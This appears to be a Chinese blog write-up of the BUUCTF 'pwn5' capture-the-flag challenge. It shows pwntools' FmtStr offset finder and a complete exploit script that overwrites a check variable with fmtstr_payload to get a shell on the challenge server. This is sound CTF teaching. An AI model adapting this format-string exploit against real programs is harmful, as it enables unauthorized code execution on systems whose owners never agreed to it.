格式化字符串漏洞偏移的便捷算法


pwntools自带的偏移函数算法


  • 这里以buuctf上的第五空间pwn5作为演示给出一个新的计算方法,可以说是十分便捷,但也不是万能的,应该可以应付大部分题目!

第五空间:pwn5


这里的漏洞十分明显,就是格式化字符串漏洞,它首先会打开一个靶机上的一个随机变化的文件,从中读取4个字节到程序,后来要输入一样的数才能绕过判断,因此这里思路就是控制输入的地址数据为我们自己的,就可以绕过if判断,获得shell。这里给出一个pwntools自带的函数:

def exec_fmt(pad):
	p = process("./pwn")
      #这里的文件名为程序文件,自己更改
	p.send(pad)
      #这个pad不用管它输入了什么
	return p.recv()

fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)

这样就可以直接获得偏移量。
直接上exp:下面这个fmtstr_payload也是pwntools自带的函数,具体看我的这篇博客文章

from pwn import*
io=remote('node4.buuoj.cn',26184)
context(os='linux', arch='i386')
def exec_fmt(pad):
	p = process("./pwn")
	p.send(pad)
	return p.recv()

fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)
payload=fmtstr_payload(fmt.offset,{0x804C044:1})
io.recvuntil('your name:')
io.sendline(payload)
io.recvuntil("your passwd:")
io.sendline(str(1))
io.interactive()

最后获得的界面是这样的:


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录